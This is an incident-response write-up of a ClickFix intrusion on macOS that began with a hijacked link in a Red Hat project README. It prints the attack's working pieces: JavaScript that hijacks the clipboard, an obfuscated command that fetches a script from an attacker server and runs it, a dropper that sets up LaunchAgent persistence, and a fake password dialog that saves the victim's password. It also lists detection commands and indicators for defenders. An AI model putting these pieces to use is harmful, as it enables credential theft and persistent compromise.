---
type: reference
title: "ClickFix — Attack Chain (Initial Compromise)"
description: "Domain hijacking, ClickFix social engineering, clipboard injection, LaunchAgent persistence, fake PAM bypass. The full initial compromise chain."
tags: [security, clickfix, attack-vector, persistence, macos, launchagent, pam-bypass, social-engineering]
timestamp: "2026-07-14"
---

# ClickFix — Attack Chain (Initial Compromise)

The full initial compromise chain: domain hijack → ClickFix clipboard injection → script.sh → LaunchAgent persistence → fake PAM password dialog.

See also: [[clickfix-handoff]] | [[clickfix-bddr]] | [[clickfix-c2-bot]] | [[clickfix-iocs]]

---

## 1. Safari History Timeline

Reconstructed from `~/Library/Safari/History.db`:

| Timestamp (Local) | URL | Action |
|---|---|---|
| `11:46:17` | `github.com/redhat-developer/lsp4ij` | Browsing lsp4ij README |
| `11:47:37` | `idetools.dev/blog/lsp4ij-dap-announcement/` | Clicked README link → hijacked domain |
| `11:47:37` | `295e5cd2.sessionaquirecheck.pages.dev` | Instant 302 redirect to phishing host |
| `11:49:17` | *(no navigation)* | Payload executed in Terminal |

The 1m40s window between redirect and execution matches the UX flow: read instructions → open Spotlight → type Terminal → paste → Enter.

---

## 2. Redirect Chain

```
github.com/redhat-developer/lsp4ij (README.md)
    └── idetools.dev/blog/lsp4ij-dap-announcement/
        ├── [Domain EXPIRED — threat actor registered]
        └── HTTP 302 →
            └── 295e5cd2.sessionaquirecheck.pages.dev
                └── [ClickFix lure — hosted on Cloudflare Pages]
```

The attack exploits the implicit trust model of developer documentation. A developer reading a Red Hat project README has no reason to scrutinize outbound links for domain expiry.

```mermaid
sequenceDiagram
    participant V as Victim (Safari)
    participant GH as github.com
    participant ID as idetools.dev (Hijacked)
    participant CF as sessionaquirecheck.pages.dev
    participant C2 as maccf9c.jetbet4.online

    V->>GH: GET /redhat-developer/lsp4ij
    GH-->>V: README with link to idetools.dev
    V->>ID: GET /blog/lsp4ij-dap-announcement/
    ID-->>V: 302 → sessionaquirecheck.pages.dev
    V->>CF: GET / (ClickFix page)
    CF-->>V: Fake Cloudflare verification UI
    Note over V,CF: JS sets clipboard to base64 payload
    V->>C2: curl -s .../script.sh | bash
    C2-->>V: Stage 1 payload
```

---

## 3. ClickFix Technique

ClickFix is a social engineering lure that subverts the OS shell by tricking the user into manually pasting a command. Unlike traditional phishing, no file is downloaded, no form is submitted, and no browser warning triggers.

### Why ClickFix Evades Traditional Controls

| Security Control | Ordinary Phishing | ClickFix |
|---|---|---|
| Email gateway AV/sandbox | Scans attachments | N/A — no attachment |
| Browser download warnings | Warns on .exe/.sh | N/A — no download prompt |
| Gatekeeper (macOS) | Blocks unsigned binaries | Bypassed — bash is a system binary |
| Safe Browsing / SmartScreen | Blocks known bad URLs | May flag page, not clipboard |
| EDR file creation rules | Alerts on dropped files | Bypassed — executed inline |
| User intent | User might question download | User believes verification step |

### Fake Cloudflare Page

Hosted on `*.pages.dev` (legitimate Cloudflare domain). When the user clicks the fake checkbox, hidden JS overwrites the clipboard:

```javascript
document.getElementById('cf-checkbox').addEventListener('click', function() {
    const payload = 'bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9tYWNjZj..." | base64 -d)';
    navigator.clipboard.writeText(payload);
    this.classList.add('verified');
    document.getElementById('verify-text').innerText = 'Verification complete';
    document.getElementById('instructions').style.display = 'block';
});
```

Follow-up instructions: "Press ⌘+Space → type Terminal → paste ⌘+V → Enter"

### Developer Targeting

Developers are habituated to running commands from documentation. A developer reading about a new IDE extension is primed to execute setup commands. The attacker deliberately exploits this domain-specific behavioral pattern.

---

## 4. Clipboard Payload

```bash
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9tYWNjZjljLmpldGJldDQub25saW5lL3NjcmlwdC5zaCcgfCBiYXNo" | base64 -d)
```

Decodes to: `curl -s 'https://maccf9c.jetbet4.online/script.sh' | bash`

### Obfuscation Layers

| Layer | Purpose |
|---|---|
| `bash <<< $(...)` | Heredoc injection — avoids subshell with obvious arguments |
| `echo \| base64 -d` | Hides URL from clipboard preview |
| Single-pipe `\| bash` | Executes in memory — no file on disk during Stage 1 |
| HTTPS | Prevents MITM interception by network monitoring |

Because the script pipes directly into bash via stdin, **no file is written to disk** during initial execution. Evasion is complete at this stage.

---

## 5. script.sh — Decoded Structure

```bash
#!/bin/bash
DAEMON_ID="luhbmchzztkfbxao"   # Randomized per-victim
PLIST_LABEL="com.${DAEMON_ID}"
PLIST_PATH="${HOME}/Library/LaunchAgents/${PLIST_LABEL}.plist"
SCRIPT_PATH="${HOME}/Library/${DAEMON_ID}"

# Drop resident script via osascript + base64
osascript -e 'do shell script "echo <BASE64_BLOB> | base64 -d > '"${SCRIPT_PATH}"'"'
chmod +x "${SCRIPT_PATH}"

# Write LaunchAgent plist (see section 6)
cat > "${PLIST_PATH}" << 'EOF'
...plist content...
EOF

# Activate immediately
launchctl load "${PLIST_PATH}"

# Write tracking ID for C2 correlation
echo "8a4e280e1159833ede425a1306c2efe5" > ~/.txid
```

The `MASSIVE_BASE64_BLOB` decodes to Stage 2 + Stage 3 logic (password stealer + blockchain C2 resolver). Using `osascript` as wrapper evades shell-level logging — osascript calls don't appear in bash history.

---

## 6. LaunchAgent Persistence

**File**: `~/Library/LaunchAgents/com.luhbmchzztkfbxao.plist`

| Key | Value | Security Implication |
|---|---|---|
| `Label` | `com.luhbmchzztkfbxao` | Randomized label defeats string-match detection |
| `ProgramArguments` | `/bin/bash ~/Library/luhbmchzztkfbxao` | Runs as trusted system binary |
| `RunAtLoad` | `true` | Executes immediately on load, and on every login |
| `KeepAlive` | `true` | launchd auto-restarts if process exits |
| `ThrottleInterval` | `30` | 30s delay before restart — prevents CPU spike detection |

> **WARNING:** `KeepAlive: true` means killing the process is not sufficient. `launchd` restarts within 30 seconds. The plist must be unloaded via `launchctl bootout` or `launchctl unload` **before** killing.

### Daemon Name Randomization

The string `luhbmchzztkfbxao` is pseudo-random per-victim. Defeats:
- Signature-based detection on label/filename
- File path allow-lists
- Process name matching in EDR rules

The pattern `com.<random>` mimics legitimate macOS daemon naming (e.g., `com.apple.loginwindow`), making it visually plausible in `launchctl list`.

### Visibility Gap

User-scoped LaunchAgents in `~/Library/LaunchAgents/` are **not visible** in System Settings → General → Login Items. Only `launchctl list`, Terminal inspection, or dedicated tools (KnockKnock, Objective-See) reveal them.

---

## 7. Fake Password Dialog (PAM Bypass)

### Mechanism

```applescript
set passwordResult to display dialog ¬
    "To run the application you need to change the settings for its operation. Please enter password for continue:" ¬
    with title "System Preferences" ¬
    default answer "" ¬
    with hidden answer ¬
    buttons {"OK"} ¬
    default button "OK"

set stolenPassword to text returned of passwordResult
do shell script "echo " & quoted form of stolenPassword & " > ~/.passphrase"
```

### Visual Deception

| Element | Fake Dialog | Real macOS Auth |
|---|---|---|
| Title bar | `System Preferences` | Same |
| Icon | Default osascript (diamond) | macOS padlock |
| Input | Hidden (dots) | Same |
| Button | `OK` | `OK / Cancel` |
| Grammar | **"Please enter password for continue"** ← broken | Precise Apple copy |

The broken English is a forensic behavioral signal useful for threat actor attribution.

### Why This Bypasses TouchID and sudo

| Method | What It Protects | Can Bypass With osascript? |
|---|---|---|
| TouchID | sudo, Keychain, Apple Pay | No — biometric hardware |
| PAM | sudo privilege escalation | No — requires actual PAM stack |
| `security` CLI | Keychain item access | No — requires Keychain auth |
| `osascript display dialog` | **Nothing** — it's a UI widget | **It IS the attack vector** |

`display dialog ... with hidden answer` is a text input box. **Zero security semantics.** No PAM, no Keychain, no biometric. It presents a UI that looks like a system prompt and returns whatever the user types as a plain string.

---

## 8. Disk Artifacts

| Path | Type | Content | Persistent |
|---|---|---|---|
| `~/Library/LaunchAgents/com.<random>.plist` | XML | LaunchAgent definition | Yes — loaded by launchd |
| `~/Library/<random>` | Script | Stage 2 + 3 logic | Yes |
| `~/.passphrase` | Plaintext | Victim password | Until deleted |
| `~/.txid` | Plaintext | Tracking ID | Until deleted |

---

## 9. Detection Commands

```bash
# Check for non-Apple LaunchAgents
ls -la ~/Library/LaunchAgents/ | grep -v apple | grep -v google | grep -v microsoft

# Check running launchd jobs
launchctl list | grep -vE '(apple|google|microsoft|com\.adobe|1password)'

# Look for specific known label
launchctl list com.luhbmchzztkfbxao

# Check for credential theft artifacts
ls -la ~/.passphrase ~/.txid 2>/dev/null

# Recently modified files in ~/Library
find ~/Library -newer ~/Library/Preferences/com.apple.finder.plist -type f | head -50
```

---

## 10. IOCs — Attack Vector Phase

| Type | Indicator | Context |
|---|---|---|
| Domain | `idetools.dev` | Hijacked blog domain |
| Domain | `sessionaquirecheck.pages.dev` | ClickFix phishing host |
| URL | `295e5cd2.sessionaquirecheck.pages.dev` | Exact phishing page |
| Clipboard | `bash <<< $(echo "Y3VybC..."` | ClickFix payload |
| Domain | `maccf9c.jetbet4.online` | Stage 1 payload server |
| HTTP | `GET maccf9c.jetbet4.online/script.sh` | First malicious request |
| File | `~/Library/LaunchAgents/com.<random>.plist` | Persistence |
| File | `~/Library/<random>` | Malware script |
| File | `~/.passphrase` | Stolen password |
| File | `~/.txid` | Tracking ID |
| Grammar | "Please enter password for continue" | Attribution signal |

---
*Source: redhat-clickfix-report/docs/01_attack_vector.md + docs/02_stage1_persistence.md*
